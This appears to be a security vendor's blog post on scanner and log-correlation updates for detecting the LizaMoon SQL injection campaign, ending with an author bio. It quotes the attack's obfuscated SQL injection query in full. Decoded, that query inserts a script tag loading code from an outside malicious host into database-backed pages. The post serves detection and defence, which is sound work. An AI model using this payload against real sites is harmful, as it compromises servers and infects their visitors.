Nessus plugin 29871 has been updated to look for the presence of malicious JavaScript on a remote web site.
(See Attack on ASP site that uses a SQL server database)
Below is an example of the plugin report:
Click for larger image
The Passive Vulnerability Scanner (PVS) has also been updated with plugin ID 5880, which will look for the malicious URL in transit across the network and fire an alert.
The Log Correlation Engine has been updated to include a TASL to look for queries that match the query being used in the LizaMoon attacks. For example, the SQL query used in the injection attacks has presented itself as:
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categor
yName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)
%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2B
char(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bch
ar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bc
har(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bch
ar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(
48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)
%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2
Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bc
har(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--> |
(From: Attack on ASP site that uses a SQL server database)
The query used by LizaMoon is not unique to this particular malware so the TASL script will pick up similar SQL injection attacks.
As founder and CEO of Security Weekly, Paul remains one of the world’s foremost experts on all things cybersecurity. Security Weekly is a one-stop resource for podcasts, webcasts and other content, informing community members about penetration testing, vulnerability analysis, ethical hacking and embedded device testing. Previously, Paul served as a lead IT security specialist for Brown University, and as an instructor with The SANS Institute.
